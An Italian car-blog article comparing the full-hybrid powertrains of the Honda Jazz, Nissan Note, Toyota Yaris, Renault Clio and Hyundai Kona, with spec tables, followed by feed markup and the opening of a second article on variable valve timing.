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<p class="wp-block-paragraph">Abbiamo già parlato diffusamente di sistemi full hybrid. (F-HEV.) In questa seconda parte vogliamo fare un’analisi dettagliata delle principali tecnologie usate dai vari brand nel segmento “B” e “C” del mercato.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/honda-jazz-come-funziona-il-sistema-ibrido-730x380.png" alt="honda jazz come funziona il sistema ibrido" class="wp-image-103161" width="548" height="285" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 361"><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 380</figcaption></figure>



<p class="wp-block-paragraph">Le tecnologie prese in esame sono: Honda e:HEV, Hyundai FEV, Nissan e-Power, Renault E-TECH e Toyota HSD.  In particolare il sistema Nissan, è presente sulla Note non venduto in sul mercato italiano, ma è fondamentale per la presenza certa sulla prossima generazione di Qashqai. </p>



<p class="wp-block-paragraph">Nella prima parte abbiamo detto che i  full hybrid sono sistemi che non hanno necessità di avere ricarica esterna e si dividono un tre tipologie: Serie, Parallelo, o Serie/Parallelo. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/Hybridparallelo-730x392.png" alt="Hybridparallelo" class="wp-image-103162" width="365" height="196" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 362"><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 381</figcaption></figure>



<p class="wp-block-paragraph">La differenza è sita nel diverso utilizzo del motore endotermico. Nel sistema in serie, il motore benzina funziona come generatore, mentre la potenza alle ruote è portata esclusivamente dal motore elettrico.  In quello parallelo, invece, i due motori si alternano o danno potenza insieme. Nei sistemi misti, serie/parallelo, l&#8217;azione dei due motori dipende dalle condizioni dettate dal controllo del sistema e dalle esigenze di guida.</p>



<p class="wp-block-paragraph">Infine, i sistemi full hybrid (FEV), possono percorrere una distanza limitata in modalità puro elettrico (EV).</p>



<figure class="wp-block-image size-large"><img decoding="async" width="330" height="360" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/technology_file_hy_img03.jpg" alt="technology file hy img03" class="wp-image-103163" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 363" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/technology_file_hy_img03.jpg 330w, https://www.giornalemotori.com/wp-content/uploads/2021/01/technology_file_hy_img03-300x327.jpg 300w" sizes="(max-width: 330px) 100vw, 330px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 382</figcaption></figure>



<p class="wp-block-paragraph"><strong>Come funzionano i sistemi presi in esame</strong></p>



<p class="wp-block-paragraph">Un modo semplice per comprendere se un sistema lavora in funzione dell&#8217;efficienza o della prestazione è verificare sulla carta la potenza che viene erogata dai due propulsori elettrico ed endotermico. Lo schema sottostante mostra come i diversi produttori scelgono di privilegiare un aspetto piuttosto che l&#8217;altro con scelte che sono sempre frutto di un compromesso. </p>



<figure class="wp-block-table"><table><tbody><tr><td>Costruttore sistema</td><td>Potenza elettrica</td><td>Potenza benzina</td><td>Potenza totale del sistema</td><td>Consumo litri/100km</td></tr><tr><td>Honda e:Hev 1.5 Jazz</td><td>109cv</td><td>97cv</td><td>109cv</td><td>3.9</td></tr><tr><td>Nissan e-Power 1.2 Note.</td><td>109cv</td><td>87cv</td><td>109cv</td><td>3.0</td></tr><tr><td>Toyota 1.5 HSD Yaris</td><td>80cv</td><td>91cv</td><td>115cv</td><td>3,3</td></tr><tr><td>Renault E-TECH Clio</td><td>48cv</td><td>92cv</td><td>141cv</td><td>4,3</td></tr><tr><td>Hyundai FEV Kona</td><td>43cv</td><td>106cv</td><td>140cv</td><td>4,3</td></tr></tbody></table><figcaption>Tabella potenza elettrica, endotermica e power train e consumo ottenuto</figcaption></figure>



<p class="wp-block-paragraph">La tecnologia e-Power di Nissan è un seriale puro. Il motore endotermico funge solo da generatore lasciando la sola competenza della trazione al motore elettrico, anche a velocità autostradale. L&#8217;endotermico viene tenuto ad un numero di giri costante per fornire energia necessaria alla batteria che alimenta il motore elettrico che continua a portare potenza sulle ruote di trazione. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/maxresdefault-1-730x411.jpg" alt="maxresdefault 1" class="wp-image-103164" width="548" height="308" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 364"><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 383</figcaption></figure>



<p class="wp-block-paragraph">Honda definisce in serie anche il suo e:HEV. Anche in questo caso il motore endotermico funge da generatore ma a velocità superiori a 90km/h questo viene messo direttamente in collegamento con le ruote sostituendo l&#8217;elettrico. </p>



<p class="wp-block-paragraph">La differenza sostanziale tra i due sistemi. Honda preferisce lasciare al motore endotermico la marcia autostradale puntando sulla maggiore efficienza della tecnologia i-Vtec a velocità costante. Nissan preferisce avere il motore endotermico ad un numero di giri che va da 2000 a 3000 giri/minuto a seconda per risolvere il problema dell&#8217;elettricità che mancherebbe a velocità alta dalla batteria. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/renault-clio-la-tecnologia-ibrida-e-tech-1-730x411.jpg" alt="renault clio la tecnologia ibrida e tech 1" class="wp-image-103165" width="548" height="308" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 365"><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 384</figcaption></figure>



<p class="wp-block-paragraph">Hyundai, Renault si definiscono sistemi in serie/parallelo potendo lavorare in entrambe le modalità. Ma guardando la differenza netta tra i due propulsori a favore di quello a endotermico è chiaro come siano rivolti maggiormente verso il parallelo. </p>



<p class="wp-block-paragraph">La capacità dei due sistemi di lavorare in serie sta alla capacità del conducente di richiedere una potenza limitata in funzione dell&#8217;uso delicato dell&#8217;acceleratore. Alle richieste di potenza i due sistemi lavorano sempre in parallelo usando entrambe le propulsioni. Renault può letteralmente sommare le prestazioni dei due propulsori come succede in Formula 1, funzionando in parallelo puro.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/New-Yaris-hybrid-system-03-730x436.jpg" alt="New Yaris hybrid system 03" class="wp-image-103166" width="548" height="327" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 366"><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 385</figcaption></figure>



<p class="wp-block-paragraph">Toyota HSD, invece, come serie/parallelo rappresenta il punto di congiunzione delle due filosofie. I due propulsori hanno una potenza molto simile e questo consente il passaggio dal funzionamento serie a parallelo più rapido e semplice. </p>



<p class="wp-block-paragraph">Anche in questo caso il tipo di guida resta fondamentale. Per ottenere il valore dichiarato dai consumi il sistema HSD di Toyota deve funzionare come Nissan e Honda per una percentuale molto alta del percorso sacrificando di fatto la parte di funzionamento in parallelo. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="348" height="312" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/motor1-copia.jpg" alt="motor1 copia" class="wp-image-103167" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 367" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/motor1-copia.jpg 348w, https://www.giornalemotori.com/wp-content/uploads/2021/01/motor1-copia-300x269.jpg 300w" sizes="(max-width: 348px) 100vw, 348px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 386</figcaption></figure>



<p class="wp-block-paragraph"><strong>Le componenti: Il motore endotermico </strong></p>



<figure class="wp-block-table"><table><tbody><tr><td>Motore costruttore</td><td>Potenza a RPM</td><td>Coppia Nm a RPM</td><td>Potenza/ litro</td><td>Numero cilindri</td></tr><tr><td>Honda 1.5 LEB8</td><td>98/5500</td><td>131/4500</td><td>65,4</td><td>4 Cl</td></tr><tr><td>Nissan 1.2 HR12DE</td><td>79/5400</td><td>103/ 3200</td><td>65,9</td><td>3 Cl</td></tr><tr><td>Toyota M15A-FXE</td><td>91/5500</td><td>120/3800</td><td>61,1</td><td>3Cl</td></tr><tr><td>Renault 1.6</td><td>91/5600</td><td>144/3900</td><td>56,9</td><td>4 Cl</td></tr><tr><td>Hyundai 1.6 GDI</td><td>105/5700</td><td>147/4000</td><td>66,5</td><td>4 Cl</td></tr></tbody></table><figcaption>Caratteristiche del motore endotermico, sigla, potenza, coppia, numero cilindri</figcaption></figure>



<p class="wp-block-paragraph"> I giapponesi indipendentenebte dal numero dei cilindri usano tutti il ciclo Atkinson a rapporto di compressione variabile</p>



<p class="wp-block-paragraph">Nissan e Toyota sono gli unici propulsori a cilindri. In particolare, il motore della Yaris deriva direttamente dal più grande 2.0 litri che equipaggia la gamma Corolla e derivate. Per i detrattori del motore tre cilindri, possiamo dire, prendendo come riferimento la tabella, che dal punto di vista dello sviluppo della curva di coppia proprio il motore Toyota è in netto vantaggio sulla concorrenza. Alesaggio e la corsa maggiori permettono di spostare verso il basso la maggior parte la curva di coppia per una migliore erogazione di potenza.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/fxe_view.jpg" alt="" class="wp-image-103168" width="525" height="302" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 368" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/fxe_view.jpg 700w, https://www.giornalemotori.com/wp-content/uploads/2021/01/fxe_view-300x172.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/01/fxe_view-696x400.jpg 696w" sizes="(max-width: 525px) 100vw, 525px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 387</figcaption></figure>



<p class="wp-block-paragraph">Honda, Renault e Hyundai utilizzano propulsori a 4 cilindri. Nel dettaglio Honda per il suo 1.5 litri, utilizza la tecnologia i-Vtec sfruttando al massimo la capacità e la versatilità del sistema di fasatura variabile. </p>



<p class="wp-block-paragraph">Renault e Hyundai, sono 1.6 litri quattro cilindri.  L’efficienza e la prestazione sono ricavate utilizzando moderne tecnologie per la realizzazione. Il motore Renault, ha le canne dei cilindri riportare con riporto di plasma e doppia iniezione sia diretta che indiretta a seconda delle  necessità di utilizzo. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/Nuovo-motore-Hyundai-1.6-GDI-1024x683-1-730x487.jpeg" alt="Nuovo motore Hyundai 1.6 GDI 1024x683 1" class="wp-image-103169" width="548" height="365" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 369"><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 388</figcaption></figure>



<p class="wp-block-paragraph"> Hyundai utilizza il sistema d&#8217;iniezione diretta GDI per avere una combustione ottimale con ricavando comunque il livello di potenza più alto tra i propulsori endotermici presi in esame.</p>



<p class="wp-block-paragraph"><strong>La propulsione elettrica</strong> </p>



<p class="wp-block-paragraph">Tutti i sistemi utilizzano almeno un motore elettrico sincrono tri fase accoppiato al motore endotermico sull’asse anteriore per portare potenza alle ruote motrici. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/motor1-copia-1.jpg" alt="motor1 copia 1" class="wp-image-103170" width="478" height="434" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 370" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/motor1-copia-1.jpg 637w, https://www.giornalemotori.com/wp-content/uploads/2021/01/motor1-copia-1-300x273.jpg 300w" sizes="(max-width: 478px) 100vw, 478px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 389</figcaption></figure>



<p class="wp-block-paragraph">Per portare energia alla batteria si cono varie soluzioni: Honda utilizza un secondo motore elettrico come generatore. Avere due motori elettrici distinti per avere potenza e ricarica migliora l&#8217;efficienza.  </p>



<p class="wp-block-paragraph">Toyota e Renault, invece, optano per un secondo motogeneratore elettrico per fornire potenza alla batteria ed un boost aggiuntivo di spinta.  L’HSG ha potenza variabile fino ai 20cv nel caso di Renault. Nel sistema E-TECH ha la funzione di sincronizzatore del cambio a denti.  Una funzionalità derivata dalla power unit di F1 come KERS. Infatti, l&#8217;E-TECH è l&#8217;unico  sistema a sommare la potenza dei due motori ottenendo 140cv.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="455" height="362" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/8184_8940_ART.jpg" alt="8184 8940 ART" class="wp-image-103171" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 371" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/8184_8940_ART.jpg 455w, https://www.giornalemotori.com/wp-content/uploads/2021/01/8184_8940_ART-300x239.jpg 300w" sizes="(max-width: 455px) 100vw, 455px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 390</figcaption></figure>



<p class="wp-block-paragraph">Hyundai utilizza l’unico motore elettrico presente tra cambio e motore endotermico per fornire anche carica alla batteria e potenza. Quando lavora in parallelo una piccola parte della potenza elettrica viene comunque persa. La potenza complessiva dei sue propulsori sommati infatti farebbe risultare un valore superiore ai 141cv dichiarati da Hyundai.</p>



<p class="wp-block-paragraph"><strong>La trasmissione.</strong></p>



<p class="wp-block-paragraph">Questo capitolo meriterebbe una trattazione separata. Ogni costruttore ha sviluppato un sistema complesso e diverso mostrando più fantasia in assoluto. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/2014-honda-accord-hybrid-i-mmd-configuration_100442891_m.jpg" alt="2014 honda accord hybrid i mmd configuration 100442891 m" class="wp-image-103172" width="480" height="480" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 372" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/2014-honda-accord-hybrid-i-mmd-configuration_100442891_m.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2021/01/2014-honda-accord-hybrid-i-mmd-configuration_100442891_m-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2021/01/2014-honda-accord-hybrid-i-mmd-configuration_100442891_m-300x300.jpg 300w" sizes="(max-width: 480px) 100vw, 480px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 391</figcaption></figure>



<p class="wp-block-paragraph">Nissan usa un classico CVT a controllo elettronico. Honda utilizza una trasmissione a rapporto unico. Il collegamento alle ruote avviene azionato da una frizione multidisco.  La logica di Honda è quella di utilizzare una sola marcia come succede con i motori elettrici. Quando la velocità aumenta ed interviene l&#8217;endotermico succede quando questo può sfruttare la marcia più alta per il veleggiamento autostradale. </p>



<p class="wp-block-paragraph">Toyota utilizza sistema epicicloidale. La trasmissione collega i tre elementi sfruttando un sistema formato da ingranaggi.  L’ingranaggio centrale comandato dal motore elettrico principale muove una serie di ingranaggi satellite collegati al motore endotermico. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="534" height="467" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/Hybrid_CVT_1.jpg" alt="Hybrid CVT 1" class="wp-image-103173" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 373" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/Hybrid_CVT_1.jpg 534w, https://www.giornalemotori.com/wp-content/uploads/2021/01/Hybrid_CVT_1-300x262.jpg 300w" sizes="(max-width: 534px) 100vw, 534px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 392</figcaption></figure>



<p class="wp-block-paragraph">Il tutto collegato ad una corona esterna che aziona a seconda delle necessità il motogeneratore secondario per la ricarica della batteria. Un blocco frizioni mette in collegamento gli ingranaggi in modo da far lavorare il sistema tanto in serie quanto in parallelo. </p>



<p class="wp-block-paragraph">La soluzione scelta da Renault è un piccolo gioiello di tecnica. Si tratta di un cambio ad innesti a denti dritti. Un tipo di cambio che di solito si usa solo nelle vetture di tipo sportivo o da corsa. L’assenza di sincronizzatori, infatti, consente di avere un comando molto compatto. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/propulsore-e-tech-730x402.jpeg" alt="propulsore e tech" class="wp-image-103174" width="548" height="302" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 374"><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 393</figcaption></figure>



<p class="wp-block-paragraph">La funzione di sincronizzazione viene affidata all’HSG&nbsp;che mette in sincrono di due alberi su cui sono disposti gli ingranaggi per effettuare l’innesto. Inoltre, nel sistema Renault, anche il motore elettrico sfrutta due marce, cosa che consente di usare al meglio la coppia in modo più ampio lavorando anche in modalità serie. </p>



<p class="wp-block-paragraph">Hyundai invece è l’unico sistema full hybrid ad usare una trasmissione automatica di tipo classico a sei marce con doppia frizione DCT. Una trasmissione che consente un uso del sistema ibrido più simile alla tecnologia benzina o gasolio precedentemente utilizzata. Inoltre, lascia una grossa variabile dell’utilizzo del sistema al conducente che rischia di inficiare l’efficienza salvaguardando il piacere di guida.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/Nissan-e-Power-2-kyf-650x485@IlSole24Ore-Web.jpg" alt="Nissan e Power 2 kyf 650x485@IlSole24Ore Web" class="wp-image-103175" width="488" height="364" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 375" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/Nissan-e-Power-2-kyf-650x485@IlSole24Ore-Web.jpg 650w, https://www.giornalemotori.com/wp-content/uploads/2021/01/Nissan-e-Power-2-kyf-650x485@IlSole24Ore-Web-300x224.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/01/Nissan-e-Power-2-kyf-650x485@IlSole24Ore-Web-265x198.jpg 265w" sizes="(max-width: 488px) 100vw, 488px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 394</figcaption></figure>



<p class="wp-block-paragraph"><strong>Rapporto prestazioni/efficienze</strong></p>



<p class="wp-block-paragraph">Tutti i sistemi presi in esame hanno un batteria ad ioni di litio. La capacità è più o meno uguale per tutti intorno agli 1,2kWh. Solo Hyundai può approfittare delle dimensioni della Kona per avere una batteria da 1,56kWh</p>



<p class="wp-block-paragraph"> I sistemi Full Hybrid hanno tutti una funzione EV pura. Una caratteristica insita nei sistemi Toyota, Renault ed Hyundai. Honda e:HEV non la prevede ma non è un controsenso. La gestione automatica del sistema consente di andare in EV in modo autonomo. La Jazz infatti, fino a 30/40km/h, marcia in modalità EV rendendo ridondante un eventuale comando manuale. Negli altri sistemi, potendo viaggiare in modalità parallelo, il motore endotermico potrebbe essere chiamato a funzionare anche a bassa velocità in base alla richiesta di potenza. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="320" height="180" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/mqdefault.jpg" alt="mqdefault" class="wp-image-103176" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 376" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/mqdefault.jpg 320w, https://www.giornalemotori.com/wp-content/uploads/2021/01/mqdefault-300x169.jpg 300w" sizes="(max-width: 320px) 100vw, 320px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 395</figcaption></figure>



<p class="wp-block-paragraph">Il conducente può optare per la modalità EV a comando, obbligando il sistema a non accendere il motore endotermico per pochi km. In questo caso successivamente il sistema deve ricaricare la batteria per funzionare in modalità hybrid automatico chiamando il motore endotermico a fare gli straordinari. Spetta alla capacità del driver bilanciare entrambe le condizioni per conservare bassi consumi. </p>



<figure class="wp-block-table"><table><tbody><tr><td>Sistema costruttore</td><td>Vel- max</td><td>Acc. &nbsp;0-100km/h</td><td>Coppia sistema</td><td>Rapporto peso/potenza</td></tr><tr><td>Honda e:HEV</td><td>172</td><td>9,4s</td><td>253Nm</td><td>87cv/1000kg</td></tr><tr><td>Nissan e:Power</td><td>170</td><td>10,5s</td><td>240Nm</td><td>87cv/1000kg</td></tr><tr><td>Toyota HSD</td><td>175</td><td>9,7</td><td>260Nm</td><td>78cv/1000kg</td></tr><tr><td>Renault E-TECH</td><td>186</td><td>9,9</td><td>346Nm</td><td>105cv/1000kg</td></tr><tr><td>Hyundai FEV</td><td>160</td><td>11,2</td><td>265Nm</td><td>102cv/1000kg</td></tr></tbody></table><figcaption>Tabella Prestazioni &#8211; Velocità &#8211; Accelerazione. Coppia- Rapporto peso/ potenza</figcaption></figure>



<p class="wp-block-paragraph">Indipendentemente se il sistema sia ibrido serie, o serie/parallelo, i numeri delle prestazioni sono simili.  La differenza sta tutta in come queste si sviluppano sotto la pressione dell&#8217;acceleratore.  Toyota pur dichiarando un consumo più basso, deve fare i conti con uno stile di guida obbligato.  La Yaris è versatile. Il conducente può decidere di far registrare i consumi dichiarati usando la funzione ECO, oppure sfruttare la prestazione con la funzione Sport peggiorando i consumi. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/ev-Mode-kBvC-U3140851759545OPI-593x443@Corriere-Web-Sezioni.jpg" alt="ev Mode kBvC U3140851759545OPI 593x443@Corriere Web Sezioni" class="wp-image-103177" width="445" height="332" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 377" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/ev-Mode-kBvC-U3140851759545OPI-593x443@Corriere-Web-Sezioni.jpg 593w, https://www.giornalemotori.com/wp-content/uploads/2021/01/ev-Mode-kBvC-U3140851759545OPI-593x443@Corriere-Web-Sezioni-300x224.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/01/ev-Mode-kBvC-U3140851759545OPI-593x443@Corriere-Web-Sezioni-265x198.jpg 265w" sizes="(max-width: 445px) 100vw, 445px" /><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 396</figcaption></figure>



<p class="wp-block-paragraph"> Honda invece non consente una possibilità di scelta manuale.  Il sistema si adatta all&#8217;uso dell’acceleratore. Le prestazioni sono discrete, analoghe alla Toyota ma c&#8217;è un evidente effetto slegato del motore endotermico rispetto a quanto succede sul tachimetro all&#8217;aumentare della velocità. </p>



<p class="wp-block-paragraph">Renault e Hyundai puntano su un piacere di guida marcato, anche se in modo diverso, senza penalizzare troppo l’efficienza. La Clio sommando la potenza con una risposta pronta all&#8217;azione del gas sfrutta al meglio anche la cambiata più rapida del suo cambio a denti dritti. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/Hyundai-Kona-Hybrid-144-730x487.jpg" alt="Hyundai Kona Hybrid 144" class="wp-image-103178" width="548" height="365" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 378"><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 397</figcaption></figure>



<p class="wp-block-paragraph"> Hyundai invece, putando sul cambio a doppia frizione con motore elettrico singolo è il sistema full hybrid che più assomiglia per tipo di guida e di utilizzo alla vecchia scuola di benzina e diesel. Questo implica che il comportamento del driver diventa la variabile più importante per il corretto funzionamento del sistema.   </p>



<p class="wp-block-paragraph"><strong>Conclusioni.</strong></p>



<p class="wp-block-paragraph">Se qualcuno, dopo aver letto tutto ciò, si aspettava di trovare una classifica del sistema migliore ci dispiace per la delusione. Le variabili  per definire una graduatoria sono troppe per un&#8217;analisi oggettiva. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/maxresdefault-1-1-730x411.jpg" alt="maxresdefault 1 1" class="wp-image-103179" width="548" height="308" title="Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 379"><figcaption>Tecnica FULL HYBRID - Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota. 398</figcaption></figure>



<p class="wp-block-paragraph">Lo scopo di questa guida è quello di dare al lettore la capacità di conoscere i sistemi nel dettaglio, presenti sul mercato aiutando il lettore a scegliere il meglio in funzione della propria indole di guida. </p>



<p class="wp-block-paragraph">A questi vanno poi sommate altre variabili come la percezione del brand, stile e dotazioni tecnologiche. Questa guida rappresenta un modo per avere a portata di mano dati e le indicazioni confrontandole i diversi sistema full hybrid del segmento B e B-SUV.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>Le tecnologie del Motore endotermico: La variazione di fase</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 15 Jan 2021 17:39:57 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il sistema di fasatura variabile della distribuzione è uno degli elementi fondamentali per le automobili moderne. Nato sul finire degli anni 70 per merito di Alfa Romeo con l&#8217;intendo di migliorare la curva di coppia del motore 1750cc, oggi viene usato non solo per variare l’alzata della valvole di aspirazione ma anche quelle allo scarico. [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Il sistema di fasatura variabile della distribuzione è uno degli elementi fondamentali per le automobili moderne. Nato sul finire degli anni 70 per merito di Alfa Romeo con l&#8217;intendo di migliorare la curva di coppia del motore 1750cc, oggi viene usato non solo per variare l’alzata della valvole di aspirazione ma anche quelle allo scarico.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/la-fasatura-variabile-1024x576.jpg" alt="la fasatura variabile" class="wp-image-102032" width="498" height="280" title="Le tecnologie del Motore endotermico: La variazione di fase 399" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/la-fasatura-variabile-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/01/la-fasatura-variabile-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/01/la-fasatura-variabile-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/01/la-fasatura-variabile-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/01/la-fasatura-variabile.jpg 1136w" sizes="(max-width: 498px) 100vw, 498px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 416</figcaption></figure>



<p class="wp-block-paragraph">Lo scopo è avere una curva di coppia il più omogenea possibile, sfruttabile sia ai bassi e medi regimi che al massimo carico. Inoltre,  il controllo della fasatura variabile allo scarico serve per controllare l’azione del turbo.  In questo modo si garantisce il corretto volume di aria all’aspirazione per una combustione ottimale.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="480" height="280" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/Variable-Valve-Timing-Explained-graph-inline-N55-Valve-Timing-Adjustability2.png" alt="Variable Valve Timing Explained graph inline N55 Valve Timing Adjustability2" class="wp-image-102056" title="Le tecnologie del Motore endotermico: La variazione di fase 400" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/Variable-Valve-Timing-Explained-graph-inline-N55-Valve-Timing-Adjustability2.png 480w, https://www.giornalemotori.com/wp-content/uploads/2021/01/Variable-Valve-Timing-Explained-graph-inline-N55-Valve-Timing-Adjustability2-300x175.png 300w" sizes="(max-width: 480px) 100vw, 480px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 417</figcaption></figure>



<p class="wp-block-paragraph">Sfruttando l&#8217;alzata variabile di valvole di aspirazione e scarico si ottengono motori che superano i 100cv/litro con un&#8217; erogazione di potenza lineare e consumi specifici nettamente migliori che in passato. Il carattere cattivo da calcio nella schiena, purtroppo o per fortuna è un lontano ricordo. </p>



<p class="wp-block-paragraph"><strong>Il variatore di fase Alfa Romeo </strong></p>



<p class="wp-block-paragraph">Il capostipite. Il sistema consentiva di variare l’angolo dell’albero a camme di 20°, ma ad oggi si è giunti anche ad un valore di rotazione fino a 60°e con diversi regimi regime di rotazione piuttosto che uno prefissato come in origine</p>



